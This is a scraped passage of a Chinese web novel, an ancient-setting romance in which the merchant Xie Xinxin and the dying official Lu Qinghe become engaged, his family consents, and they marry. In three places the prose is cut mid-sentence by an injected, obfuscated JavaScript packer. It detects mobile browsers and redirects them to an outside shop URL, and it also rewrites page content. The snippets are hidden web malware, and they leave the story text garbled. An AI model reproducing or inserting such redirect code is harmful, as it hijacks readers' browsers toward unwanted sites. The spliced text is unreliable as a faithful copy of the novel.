陆清和一愣,仰头看着阿凤,肩上积的碎雪簌簌落下。 “我不知道。”他说,“阿凤,我不知道。” …… 谢辛辛回程的时候,鬼使神差地决定从邺州走一遭。本想从邺州的码头经苕江回莲州,却忘了河道正在清冬雪,这会儿没有船家愿意冒险接客。 也不是非走水路不可,只是,昔日一群人热热闹闹地来,如今一个人伶伶仃仃地回去,也算是有始有终,往后或许就不会再想这段日子了。 如今,倒像是老天不愿让她给自己一个交代。普普通通的河道治理工程,像疤痕一般在她心上剜出一个遗憾来。 回了玉春楼,没有她想象中的冷清。虽然赵都云倒台后,确实有许多落井下石的富户来玉春楼讨债。 谢辛辛也是问了刘宛才知道,莲州偶有云京来的三司禁卫出巡办差,多少都在玉春楼跟前露脸。不用说,也知道是谁的指使。 加上郑家如今鸡犬升天,受了郑瑾瑜的嘱托,明里暗里也关照着玉春楼情况。 好在楼里留下的多是对谢辛辛有感情的老人,要么是被谢辛辛收养的孤儿,要么是看着谢辛辛长大的长辈。大家在动乱中自得其乐,客人多就忙一些,客人少就偷偷闲,也把持着玉春楼一日一日地活了下去。 这缘由让谢辛辛听得鼻酸,“曾经我为了报自己的仇,将玉春楼好端端地晾在这里,如今想来实在对不起诸位。我谢辛辛这次回来,再也不走了,必定再把玉春楼支棱地风风光光。” “不走了吗?”刘宛很高兴,去牵她的手,“那陆家那个小子,是要入赘谢家吗?” 本是个伤心事,被刘宛这么一说,倒让她哭笑不得的。 “宛姐姐,你想什么呢?我和他……” 她想了一想,最终没有说出陆清和替她拟好的那个理由,“嗳,宛姐姐,我和他没有缘分。这事以后就不提了。” 刘宛一怔:“哎?” 没想到这句话说出来,比在心里更难受。谢辛辛别过脸去,问:“怎么没看见茗琅,她去哪儿啦?” “噢,茗琅……她不是接手了你交给她的许多铺面吗,如今生意一个比一个好,有时候还需要动她的银子来贴补玉春楼呢……眼下,估计在水粉铺子里盘账吧!” 刘宛说完,试探着她的神色,故作轻松道:“话说回来,没有缘分就没有缘分。世上三条腿的蛤蟆难找,两条腿的男人还不好找么?只是,你,你还好吧?” “我当然,我……” 原先还能抑住的心酸,见了刘宛之后却被亲情打得一瞬间溃决。 “我……” 她忽地把头蹭进刘宛的肩窝里,极小声极小声地啜泣。 “我不太好,宛姐姐。我心里不舒服……” 刘宛挥手赶走了冒头关心的伙计,这才一下下地拍着她的背。 “你这孩子啊……” 其实刘宛也不知道说什么,就这样抱着她抱了很久,才说出一句,“茗琅都跟我说了,被抓进大狱的那个人,是害了夫人老爷的凶手吧?” “她一跟我说,我就明白过来,你当时非要出去走南闯北的是在做什么。你这孩子,平日里不说话,可宛姐姐这些事未必没有你的手段……小小姐啊,你辛苦了。” “宛姐姐……” 刘宛长叹一口气:“我看得出来,他对你好,你喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036826|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,你说你们没缘分,应当是有什么苦衷吧?只是小小姐,你在外挣命奔忙了这么久,如今一切都可放下了,在这回事上却想不开么?缘分这种事,你不伸手去攫一把,就是再好的缘分也要散的。” 她将脸抬起来,懵懵懂懂地看着刘宛。 “他喜欢你吗?”刘宛问。 谢辛辛点点头,“应当是喜欢的吧?” “那么他追求过你吗?” 谢辛辛的脑袋里忽然闪过很多画面。一开始,的确是她假意逢迎,可后来,他多次出手相帮,在她最心灰意冷的时候把自己接去云京,安慰了她…… “应当,算是追求过吧?” “那你朝他再走一步,又有何不可呢?” “哪怕他时日无多吗?” 刘宛没想到她是这个回答,不免愣住了,“这,原来是这个原因吗?” 谢辛辛摇头道:“不是,我知道命中一程有一程的风景。倒不是我介意,是他觉得自己不配。” 刘宛犹豫再三,最终也下定决心似的,“我想,如果夫人还在,应该也是希望你和自己心爱的人在一起。” 话说到这里,正是撞在了谢辛辛的心坎上。她从云京出走本就少不了赌气的成分,这会儿更是开始有些动摇了。 “所以,果真我还是得再莽撞些,像我娘亲对爹爹那样,管他三七二十一的,先将他强取过来?” “咳。” 门外传来一声尴尬的咳嗽。 风乍起,吹皱莲塘水,撞进玉春楼的门扉里。大门吱呀摆动,露出门口那个熟悉的身影。 陆清和笑了一笑,“抱歉,我也是刚刚才到,不是有意偷听。” 刘宛见到人追到莲州来了,自然为谢辛辛高兴,没有说不好的。 刚才的话也不知道被听去多少,虽然才打定主意不放过他,可心思被偷听去了却还是恼了,飞着眼睛瞪他。 “你怎么来了?宫中不用当值?” 陆清和轻咳一声:“告了病假。因我有东西忘记给你。” 说着拊掌两下,董尚领着一串身着军服的人马鱼贯而入,全是战场上见过的熟面孔。可这些人手上提的不是刀枪,而是系着赤红绢花的礼箱。一行人红红火火地抬着东西进来,箱子掀开,明晃晃的金光迷了人眼睛。 整个玉春楼的人都探了脑袋出来看热闹。谢辛辛还有些没反应过来,愣愣地看着他。 陆清和清了清嗓子,面上有薄红,“我想好了,这聘礼,原就是为你一人准备的。哪怕不与你成婚,在我……之前,也想亲自将这些东西交到你手上。” 阿凤在后面扯了扯他,“公子,怎么又变卦了?不是说好了东西送了,人也得要吗?” 他说的大声,一时让陆清和有些窘迫,“啊,是。不知辛辛,能否给我一个向刘宛娘子敬茶的机会?” 刘宛情同谢辛辛的母亲,这话问的,和求婚也无异了。 她浑身发起烫,眼前有些朦胧,想说些什么,又梗在喉咙里,说不出话来。 在这之前,她从没有想过,也不敢去想自己真正期望的是什么。受过创伤的人大抵都是如此,一旦有了期待,便会担心期待落空。 可就是这样含混地糊弄了自己这么久,直到这一刻,她发现陆清和还是比自己的期待先来。 她想到一件事,还是摇摇头,说:“我不想再离开玉春楼了。” 陆清和道:“那就留在莲州,我辞官。” 她说:“你辞官,难道要我养你?” 陆清和笑道:“我把我所有的钱都给你,足够你花三百年的。这么些银子换我赘进谢家,也很好啊。” 谢辛辛诧异:“你入赘谢家吗?不是玩笑?” 陆清和眸光明亮湿润,专注地望着她,像被她驯服的狐狸,轻声道,“这回,不用你向我走一步,换我来走向你,可好?” 94.四姨娘 谢辛辛最终还是松口了。 毕竟活到碧玉年华,心上有一位比菩萨还漂亮的美男子,而这位美人还未必有几天可活—— 这种时候,美人提什么要求,都是会被应允的。哪怕是带着家私赘入女家。 出乎谢辛辛意料的是,刘宛很高兴,张罗着纳采纳吉。 谢辛辛问:“宛姐姐,你不介意他生病么?” 刘宛答:“是你聘郎君,又不是我。你都不介意,我介意什么?” 谢辛辛很讶异,没想到刘宛如此开明,不愧是曾跟着娘亲经商的女管事。 刘宛接着道:“更何况,谢家出了当年的祸事,就剩了辛辛你一个人。要把你的名字送上别人家的家谱,我心里还觉得可惜呢……如今这样正好,陆公子进了谢家的门,谢家也算有了传承,我就对得起夫人和老爷啦。至于生病么,总还是可以治的,好好治病,好好过日子!” 传承不传承的,谢辛辛没好意思问具体是指什么,含含糊糊地哦了一声,却看到陆清和在门外觑着她笑。 她脸上好像更红了,冲出去把他拉远:“又偷听。” “不是偷听。”陆清和摇头,拿出一张字迹隽永的聘帖来,“刘宛娘子说,三书六礼少不了,这是我拟的聘书,请你们过目。若是觉得可以,就发去王府里。上头所写的聘礼,都从我的账上出。” 谢辛辛越听越不对劲,“你要赘进谢家,还要用自己的钱作聘?那怎么行?我谢辛辛哪里缺银子花了,这传出去多不好听呀,活像我占了大便宜似的。” 陆清和一笑:“反正我也是你的人,你尽管占我的便宜就是了。” 她被噎了回去,半晌,咋舌道:“我,其实我那会答应你,是……” “是看我可怜,哄我的,我知道。” 陆清和替她说完了这句话。 “你是想着哪怕是闹着玩也好,答应和我成婚,多半有哄我开心的意思。我看得出来的。” “可是辛辛,我却是认真的。” 谢辛辛绞着手,仍在犹豫,心里却绽开花来。 饶她捅过郡王,见过太子,上过战场,也应付不来陆清和的真挚,正如他一开始应付不了她的热情一般。 这种不堪应付,习惯了之后也就成了顺水推舟。她与陆清和的整个相识,似乎就是这样生情的。 可谢辛辛仍有担忧: “我还没见过北瑛王,这聘书下过去,在他眼里,我岂不是成了拐走黄花大小子的女流氓啦……” 而北瑛王陆佗凯旋而归的时候,适逢莲州发出的聘书送到王府的门口。 陆佗瞪大了眼睛,翻来覆去地看,确认了这是自己亲儿子陆清和的字迹,而这聘书,也是下给陆清和的。 “荒唐,荒唐啊!”陆佗吹胡子瞪眼,“一把年纪了,竟有儿子替姑娘来聘自己作赘夫的事!” 瑛王妃哎呀了一声,“那谢小娘子我见过,十八九的姑娘,被江南的水米养得仙女儿似的。我听说,上回那一仗,她和也在战场上,为捉拿罪臣出了一份大力。在那之后,太子殿下很看重她。” “有这回事?” 陆佗眯眼,听瑛王妃将谢辛辛怎样勇武深入敌营,怎样和陆清和配合的故事说得添油加醋的。 “哦?那倒是入得我陆家的门……” “哎!”瑛王妃没忍住,小小地白了他一眼,“是清和要入人家姑娘的门,你陆家想要她进门,还不能呢。” 即便只有一面之缘,但女子之间似乎与生俱来有着互相捍卫的默契。 陆佗苍遒的面上是老大的不愿意,“哪有这样的道理?那、那姑娘再好,本王的儿子,也不输什么啊!” 王妃觉得新鲜,“王爷,你刚刚是夸清和了吧?” “……哼。”陆佗双颧浮起干巴巴地两片红,“反正就是不行,我不同意。” “我同意。” 二人诧异地回头,竟是四姨娘,像提溜一只小鸡似的,提着陆景明到她们面前。 四姨娘是陆佗年轻的时候,从战乱地带救回来的风月女子之一,因此话说的糙一些,不懂高门里那些闷声闷气的规矩。 瑛王妃却是伯爵府教养出来的闺门女子,虽然喜欢陆清和这个孩子,却不喜欢举止有失风度的四姨娘。 但碍于两个孩子小时候那桩事,每每四姨娘发起疯来,王妃总忍让着一些。 今日也是。哪怕四姨娘将陆景明甩到王爷面前,瑛王妃也默默地不出声。 “你同意?”陆佗气得嘴唇哆嗦,“绣宁,你不是一直指着清和成材吗?先前你是怎么教养他的?如今他官居二品,却要入赘给京外商户之女,你就不怕丢人吗?” 四姨娘冷哼一声。 “我指望他成材,是指望他争口气。那孩子从我肚子里出生,生来就是个庶子,要牺牲自己给别人的儿子的让道。我不逼他一把,等我死了,他怎么活?” 张口庶子,闭口“死”的,纵是瑛王妃想出言周旋,也不知道怎么接话,只好垂着眼假装听不见,让他们二人吵去。 见堂上没人说话,四姨娘捺下嘴角:“一说起这个事,你们都成了哑炮了。那让陆世子说罢。” 陆景明依言出声:“父王、母妃。你们知道,为什么直到乱党伏诛,宫里依然晾着儿子不理吗?” “儿子急功近利,和叛臣勾结在了一起。若非清和他以命相保,我恐怕见不到父王回家,就……” 四姨娘冷眼看着王爷王妃复杂的表情,“别看我,这话可不是我教他的。若不是他自己能改悔,我早把他剥皮抽筋了。” 瑛王妃忙道:“妹妹,什么剥皮抽筋的,说这么可怕的话干什么?都是一家人,你有话好好说就是了。” 四姨娘道:“我还有什么话?好好的儿子,出生在你们家,憋屈了一辈子,如今就像和自己爱的人在一起,我非要成全他不可!” “别像他亲娘一样,嫁错人,错付了真心……” “绣宁!这儿子可是你要的!” 陆佗嗓门大了一些,震得四姨娘一愣,随即郁郁地盯着他,不再言语。 气氛短暂的沉默。 “是。”四姨娘轻轻出声,“是我要的,我不后悔生下他。却后悔在王府生下了他。早知今日,……” 二十年前,绣宁对陆佗而言,和二姨娘三姨娘一样,只是他在战区救的千百姑娘中的一个。 而陆佗对绣宁而言,却是救命恩人,如当空耀日一般,照亮了绣宁的十五岁。 彼时敌寇来犯,屠杀城村,却把姑娘们留下一命、归在一处,龌龊心思人尽皆知。 就几个姑娘以为人生无望,准备殊死一搏之时,陆佗带着大军而至,势如破竹,大败敌军。 得知绣宁已经父母惨死,无家可归,年轻的陆佗心中有愧,觉得是自己出兵太晚导致,索性将她收入府中。 年少轻狂的将军,一腔热血上了脑袋,就以为将女人收进府邸,便是对她们最好的看护。这种事他已做过两次,瑛王妃仁心,从没拒绝过。陆佗便觉得,再多养一个女子也不成问题。 可没想到,绣宁与二三姨娘不同。 她不止为了生存,绣宁动的是真心。 她本就生得肤如凝脂、美目相盼,进了府,又尽一切所能对陆佗悉心照料,日复一日。 渐渐地,陆佗也分不清心里的悸动究竟是恻隐,还是动情。 瑛王妃说,陆佗,你若真的爱护这些女子,就不应该给她们没有结果的期冀。 陆佗犹豫了。 瑛王妃又说,你若真的爱护我,便不该犹豫。 于是陆佗再也没有进过姨娘们的屋苑。 绣宁盼啊盼啊,却盼来了王妃有孕的消息。 绣宁人前镇静,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115024|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后垂泪向他,问他心中究竟有没有自己。 陆佗痛惋,咬牙想了一万遍瑛王妃的话,仍是道:“我待你们,皆如义妹,接你们进府,都是权宜之计罢了,你应当知道的。” 绣宁惨然笑了笑:“我应当知道?” “那我对你的感情,你知不知道?” “你既然无意,为何从不拒绝?” “此前,是我自作多情。如今悔悟,为时已晚了。” 可她性情过刚,怎会如此轻轻放下?绣宁对陆佗提出了最后一个要求: “给我留一个孩子,算我这几年真心的结果。此后,我专心养育孩子,不会再留恋你。” 一双殷殷如柳的眼睛含着珍珠,陆佗还是心软了。 从此才有了陆清和。粉雕玉琢的二公子,随了四姨娘如画的模样,却因此在王府之中的处境更为尴尬。 一个因母亲意愿强行得来的孩子,一个出生缘于父亲的过错的孩子。 四姨娘和陆佗心中对他各自有愧。 四姨娘选择倾心尽力地教他成材,陆佗却选择让陆景明替他承担所有王府之子该有的责任。 如斯拉扯之中,阴差阳错,使他成为如今如冰下淬火的玉面菩萨,情欲与野心一样,在克制之下炽热盛放。 沉默之下,过往种种,在北瑛王府众人脑中闪回。 四姨娘的声音幽幽,像从过去传来。 “早日今日,当初,我不该太留恋你……” 瑛王妃目光闪烁了一下,望向她,眸光复杂,似有愧疚,也有惋惜。 “妹妹。”瑛王妃想说话,看了一眼黯然的陆佗,终还是顾及男人,没有说出口。 四姨娘却抬头笑了笑,“王妃,我没怪过你。” 瑛王妃点点头:“我知道,我也是。” “我们女子,大多小时候就受些情爱莺燕的熏陶,年轻的时候认错一些事,这很正常。” 其实现在认清也不晚啊。 瑛王妃在心里叹息。 四姨娘似懂非懂,索性不去深思,看着陆佗道: “我这辈子算是错付了,可我的孩子遇到了两情相悦的人。我只想他能好好的。” 陆佗长叹一声。 “好吧。” “那么,就依孩子的心愿吧。” 随着陆佗的让步,这桩婚事在北瑛王府且算是尘埃落定。可众人面色都有怅惘,毫无大喜之色。 陆佗走后,瑛王妃偷偷叫住了四姨娘。 “妹妹。”瑛王妃咬了咬唇,“清和他……若他……到时,你在府中也没有牵绊了,你想出府吗?” 二公子,也许活不过今年冬天了。这是众人心照不宣,却不敢言明的事实。 四姨娘一怔,旋即道: “想。” …… 东宫之中,太子翻阅着手上厚厚的账册。 侍女小步穿过帘幕。 “殿下,打听到了。” “说。” “陆大人连夜去了莲州,据说、据说……他要入赘谢家。” 太子失语片刻,才问:“孤好不容易替他请来未来夫人的诰命,孤竟不明白,他这是什么意思?” “是啊殿下。”侍女附和,“不为自己想,也要为未来的夫人想吧。这赘去女家,谢小娘子的诰身就没有了。” 大宫女忙上来喝止:“这有你心疼的份吗?下去吧。” 见太子面色恍惚,大宫女端上茶盏:“殿下,看了一天了,歇一会儿吧。” 太子点头,起身扼腕:“孤觉得可惜。好好的人才,被父皇折腾,命不多时。想来他要赘女,也是厌倦了云京吧。” 大宫女稳重,这般话题,是不会接的,故而只是随侍一旁。 “罢了。”太子道,“备车马,叫上几个太医,孤要带人去一趟莲州,给陆大人贺喜。” 95.喜事前 夜里寒凉,池上起一层映着月色的薄冰。 玉春楼的后院,两间房仍点着毡灯。 谢辛辛将绣针放下,大声叹了一口气,“终于绣完一朵,成婚真累呀。” 碧色销金婚裙逶迤在书案上,在摇晃的灯火下很是旖旎。 陆清和笑着拉她坐下,指尖冰凉。 “绣了不到一刻,你就开始喊累了。” 她瞪他一眼,“那有什么办法?我又不会绣活,眼下学,又来不及了……” 在病人面前说“来不及”,似乎有些不吉利,她连忙咬了自己舌头,转换话题道:“啊,这婚服,是宛姐姐花了好几天的功夫赶制的,一定没问题。我就在袖口绣一朵小莲花,添个彩头就行了。” “不绣也可以呀。”陆清和拿过小香锤,替她敲着肩膀,“历来女子绣婚服,多是为展示女红手艺,好让人评价女子德才。但你我成婚,不需要让别人评价你。” 谢辛辛仰面莞尔笑了,“嗯!我也是这么想!到时,却扇礼也可以不要了。我堂堂莲州谢小掌柜,何须以扇遮羞?我见那些婚仪上,新郎官大大方方,新娘子却遮遮掩掩,我不喜欢。” “好,辛辛还有什么愿望?” “我如今没有姊妹亲人,故而也不想走那些迎送的仪式。反正是在酒楼里成婚,花轿撒谷也都免了吧,在玉春楼门口发些吉钱便好。还有……” 她说得口干,接过陆清和递来的茶饮下,忽然觉得自己要求多了,“婚礼大操大办,原是为了让你开心,怎么倒问起我了?我还没问你,我俩成婚,你有什么愿望么?” 陆清和低头浅笑,从上方抚着她的乌发。 “能成为你的家人,就是我的愿望,此外无他。” 他答得干脆,不知为何,谢辛辛却从中听出了一丝自暴自弃。 “别这样……”她眨眼,抬头努力对他笑,“人可以有一个大愿望,也可以有许许多多的小愿望。比如,我想让赵都云死得其所,也想吃张厨傅做的羊肉包子。有了吃羊肉包子这个愿望,我就会期待明日起床的早膳。” “愿望多起来,每一天才有滋味呢。” 月色顺着窗格淌进房间,覆在陆清和垂下的眼睛上。 这双眉眼颤了颤,像蝴蝶的翅膀,脆弱而美丽。 “辛辛说的对。其实,我是有一个愿望。” “是什么?说来听听。” “……若是说出来,太过放肆了。” 谢辛辛失笑:“陆大人,你可是殿前司陆指挥使啊,在民女面前,说什么‘放肆’?折煞我了。” “我想……” “想什么?” “我想我死后,你能多记我几年,晚些再改嫁……” 陆清和自觉惭愧,苦笑了一声,“……二十五岁。起码二十五岁之前,要思念我,好吗?” 他竟还认真地想了个时限。 谢辛辛有些哭笑不得:“我再过几年就二十五了,你这愿望也太没志气了。” “是吗?”陆清和心一动,头更低了一些,眼睛对着眼睛看她,“……那三十岁?三十岁之后再改嫁?” 茶雾色的瞳仁撞进谢辛辛的视线,她仰面对着低头的他,几乎要被这双眼中的真挚灼伤了。 “啪”地一声,她伸手弹了男人的额头。 陆清和吃痛皱眉,移开了脑袋。 谢辛辛气笑了:“谁说我要改嫁了?” 陆清和揉着额心问她:“什么,什么意思?” “成婚这么麻烦,我才不要有第二次。” 谢辛辛移开目光,起身将才烧热的手炉塞进陆清和的怀里,“和你成那么一次婚,挺好的。有过了一个郎君,又不用操太久的心,还能花你的钱花一辈子,这是多少小娘子的梦想呀,干嘛还要改嫁,给自己找罪受?” 她是要安慰他的,陆清和知道,心里便有温情在攀升。 不过,原来小娘子们都盼着这个吗? “好可怕。”陆清和摇头笑了,“还好我真的命不久矣,不然我会天天忧心,忧心你今日是不是厌倦了我,明日又会不会厌倦了我,后日会不会希望我给你留下一笔银钱就撒手人寰。” “呸呸呸。”她拿床边的小绸扇,作势打他,“宛姐姐都说了,身上不好,就好好治。别再随便说什么命不久矣这种话,叫人听了慎得慌。” 他很听话,即刻点头应好,“那便不说了。我回我的房间了。辛辛,你也早些休息吧。” …… 虽然这么说,但自从他至莲州以来,被谢辛辛按头看过大小大夫十余人,其中不乏范守一范家留在莲州的徒弟,皆称无能为力。 “若是师父在就好了。”医堂的年轻人叹气道,“师父最喜欢这些疑难杂症了……啊,失言了。” 陆清和并不在意,反是对谢辛辛笑道:“原来他喜欢这个?早知如此,在云京时,让他研究研究我的身体也好,算是我离世前送给范大夫的礼物。” 果不其然,说完就挨了谢辛辛一扇子。 “净说些丧气话。” “我可是说真的。”陆清和道,“此毒入体,五脏六腑渐渐成冰,届时我身体被冻成一块冰了,意识却可能仍在。那时候,便把我交给范大夫他们研究吧。为医学世家做些贡献,这毒岂不是没白中。” 谢辛辛捂着耳朵,“到时候再说吧,现在可忙着呢。” …… 或许是因为大家心照不宣,知道陆清和所剩的时日无多,他们并不像寻常新人一般,在成婚前有诸多规矩限制。甚至成婚前夕,两人还可以一起讨论仪式,绣制婚服。这场大婚,简直像是孩子们之间玩的家家酒。 就连他最无把握的北瑛王府,竟也欣然接受了他亲写的聘夫书。王爷与王妃,兄长和四姨娘,都赶来莲州参加这场婚礼。 陆清和想,或许他们的成婚,更像是上天和众人出于对他的怜悯,而为他造的一场瑰丽香梦,美则美矣,却是镜花水月。 但那又如何呢?他甘之如饴。 毕竟皇帝身边之人,是不可能失手的。皇帝要让用他的死换陆家的生,那么他不可能不会死。 那么这辈子在死之前,总得任性一回吧。 眼前之人笑眼盈盈,同样对他道:“你也早些休息。” 各自回了各自的房间。不知怎么地,两人房里的灯都没灭。冷冽的空气里,飘着两盏惴惴不安的烛灯。 谢辛辛和衣卧在衾上,辗转反侧,总觉得心里不安宁。躺下不到一柱香,又起身拿案上的茶壶要喝水。 壶里早空了,她只好披上一件毛氅,悄悄往小厨房去。 经过陆清和的屋子,见里头还亮着,心里不由有些欣喜,又上前敲敲他的窗子。 “陆清和,你也还没睡呀?” 里面却没有回音。她附上耳朵去听,确实阿凤在里头焦急地喊:“公子、公子……?” 谢辛辛心上的不安顿时放大到极致,忙去推门,“阿凤,怎么回事?” “谢小掌柜。”阿凤红着眼睛出来,“我去泼个茶的工夫,公子就倒在地上,怎么也叫不醒了!” 她顾不得身上单薄,冲进去一看,陆清和紧闭着眼睛躺在桌边的地上,面色白得几乎透明,灯火的温度绕开他的身子,令他像是跌落下案的一尊神像。 谢辛辛下意识去扶他,却被他身上的冰凉吓了一跳。 “怎么这么冷?”她皱着眉,将自己的毛氅脱下来裹住陆清和,“阿凤,来帮我把他扶到床上去。我,我去请大夫……青昙什么时候回来?” “边姑娘回信,说请帖收到次日就启程,约莫是正好婚礼当日清晨能赶回来。” 谢辛辛叹了口气:“这还办什么婚礼,推迟吧。等他们回来,好好给你家公子看一眼,看能不能,至少……至少,活过开春,同我看一眼莲州的春天吧……” 阿凤早已泣不成声,接不上话来。 床榻上却传来气若游丝的声音:“我……” 人醒了,房里的另外两人忙坐在塌边看他。 陆清和吃力地睁开眼,睫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128412|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上濡湿的部分似乎结成了白霜。 他张了张口,弯了眼睫笑,“我没事,紧张什么。婚礼……不要推迟。” “可你……” “不要推迟。”陆清和很坚决,努力支起身子。手骨支在床板上,隐约有冰面碎裂的声音。 “我怕……”陆清和低低道,“我怕我撑不过去了。若推迟,我便再无可能,成为……你的……家人……” 每次都要挨打,如今他也并不是很敢再说这样的话。 可这回,谢辛辛出奇地冷静,没有弹他的额头,也没有拿小扇扑他的脸,而是伸手抚上他的头发,轻轻应了一声好。 玉春楼的婚宴,怕是裕元四年的莲州,除了年节之外最大的一场喜事。 昨日还飘了一点雪,今晨却已经有冷冽干净的阳光。一早楼外就爆竹不断,走过路过的百姓,凡是道一声恭贺新喜的,都能领到茗琅替谢小掌柜发的吉钱。 谢辛辛才迷迷糊糊睁开眼——自从赵都云押送进审之后,她梦魇不再,总是爱睡懒觉,似乎要把前些年缺的觉一并补上是的。 明明嘱咐了宛姐姐来叫她,怎么天色都这么亮了。 她在床上嘟囔了一句,一个挺身,还是没起得了床,依旧缩在大红色的被面下。 有人推门进来,她有些心虚,忙先出声,“起了起了,宛姐姐,我已经起了。” “辛辛,是我。” 披着雪光进来的,是笑意温柔的陆清和。 “怎么是你?别进来,等一会儿啊。” 她七手八脚地穿上衣裙,才想起来,今日是成婚的日子,该穿婚服。又慌忙褪下,换上碧色滚金的喜服,一边换一边问他,“你今日感觉怎么样。” 屏风外的人应道:“许是心情舒畅,身上也很有力气。今日起早,也不觉得疲累。只是有些冷。” “嗯,好,一会儿我偷偷给你塞暖炉。好了,进来吧。” 陆清和这才绕过香屏,月白里衣,赤色外袍,映着他那双狐狸般的眼睛,美得像戏文中的郎君。 也不知怎地,这样喧哗的颜色穿在他身上,竟也清雅。 谢辛辛笑嘻嘻道,“难得见你穿红色,挺好的,看着暖和。” “只是看着暖和吗?”陆清和撑开手,笑意盈盈地转了一圈,“我可是特意来让你先看看。” “好好好,这样俊俏的小郎君,今日要做什么去呀?” 陆清和配合她应道,“今日要和自己的心上人成婚去。” “那敢问小郎君,你的心上人是哪一位呀?” 陆清和隔着袖子牵起她的手,笑道,“是世上最厉害,最有能耐的小娘子。” 哪怕是隔着袍袖,谢辛辛仍然被他冰到了指尖,面上不露声色,却伸手进他的大袖握住他散发着冷气的手指。 他们的手握在宽大的袖口里面。谢辛辛捂着他,笑道:“那两位还真是般配,天生一对呀。” 二人相视,彼此眼中都映着对方的影子。 刘宛才忙完一阵,回来见新娘子大门敞开,疑惑地探头,见他们二人在一起,嗳了一声,“宾客都到齐了,一会儿便要交拜的人,这会还腻歪在一起呐?” 谢辛辛吐了吐舌头,将手缩了回来,“宛姐姐你替我接一下他们吧,让陆清和帮我梳头就行了。” 刘宛自是顺着她的意思。 陆清和从善如流地拿起梳篦,将她按在了妆奁前,口中自言自语: “一梳梳到尾,永结同心佩……” 听得谢辛辛身上起了鸡皮疙瘩,笑着看着镜子里的他,“这种俗气的吉祥话,叫你读书人的嘴里说出来,怪叫人膈应的。” 陆清和也笑了,“这有什么的?那我来梳,你来说吧。” 谢辛辛说好,接着道:“一梳梳到头,恩爱到……” 却说不下去了。 陆清和见状,轻轻叹了一声,替她说完这一句: “一梳梳到头,恩爱到白头。” “对不起,辛辛。没法陪你白头了。” 96.番外三 婚礼 一片红绸,在绸布的中段扎成莲花式样,左右各留下两截布巾,是为牵巾。 谢辛辛与陆清和各执牵巾的一头,并肩而立。 这场婚礼从简,并没有请外人,就连喊礼先生也是阿凤充当的。阿凤胸前系着一朵红绢花,少年老成地拖长音调: “一拜天地。” 谢辛辛与陆清和便向堂前一拜。 手指察觉到牵巾另一头微微的颤抖,谢辛辛小声问:“陆清和,你还好吗?” 陆清和掩了咳嗽,含笑看她,摇摇头,“无碍。” “二拜高堂。” 因谢家夫人老爷均已不在人世,高堂正中间的位置空了出来,左位坐着刘宛,右为坐着陆佗和瑛王妃,四姨娘随侍在瑛王妃之后,红着眼睛沉默。 “夫妻对拜——” 谢辛辛转向陆清和,对面之人也报以温柔的笑意。 这对新人,相对低头。 仪式开始前,陆清和替谢辛辛绾发,满口说着“这个好看,这个也好看”,将金饰珠钗横七竖八地插了她一脑袋。 这会对拜,谢辛辛只觉得头上沉甸甸的,一个不留神,将额头咚地重重磕在陆清和的脑门上。 陆清和嘶了一声,登时眼前发白,却还伸手去扶她。 自己却先被谢辛辛扶住了。 “对不起对不起啊。”她嘴上道着歉,还不忘取笑,“哎,你这人,如今像是纸糊的一样。撞你一下,你都快晕过去了。” 陆清和并不服气,“撞到眼睛了而已。” 此时阿凤高声喊:“礼成。请宾客入席——” 人群顿时欢笑闹腾起来,各自寻找自己的桌位。 玉春楼的厨傅们都有喜色,笑呵呵地回到厨房去准备膳食,茗琅和马南春则负责将客人们领到各自的酒桌上。 除了在玉春楼做事的伙计,码头的船工、殿前司的班直也都有一桌。宋嬷嬷替宣德王妃带来了礼物,郑瑾瑜也替孟安随了份子。 唯少了陆景明,因仍在受惩戒,禁足不得出府,只好拜托王爷替他多喝一杯喜酒。 这厢谢辛辛牵着陆清和,先去和长辈们行了一礼。 北瑛王府武将出身,本就不在意繁文缛节,也知道婚事从简大抵也是考虑了陆清和的身体原因,故而并不以王府的身份拿乔,瑛王妃和刘宛早就说到了一处去,悄悄指着孩子们笑。 陆佗今日来,见谢辛辛这样落落大方,心里其实喜欢得紧,却是个倔强脾气。抿了半天的嘴,才憋出一句: “好孩子,不拘小节,本王看得出你有女将之风。” 谢辛辛笑道:“王爷过奖了,我只是莲州一个小小掌柜罢了,清和却是真正的将军。若王爷看到他在山上作战的样子,定会为他骄傲的。” “他有什么……”才要下意识反驳,陆佗忽然反应过来,儿子如今已为人夫了,不好在女方面前让他丢了面子,遂清了清嗓子,“嗯。清和也不错。” 陆清和一愣,旋即释怀而笑。 瑛王妃推了推四姨娘,“妹妹,去和孩子说句话呀。” 四姨娘有些难得的局促,“清和的好日子,我今日,还是不给他添堵了。” 说话间,陆清和已经上前一步,唤她们:“母亲。” 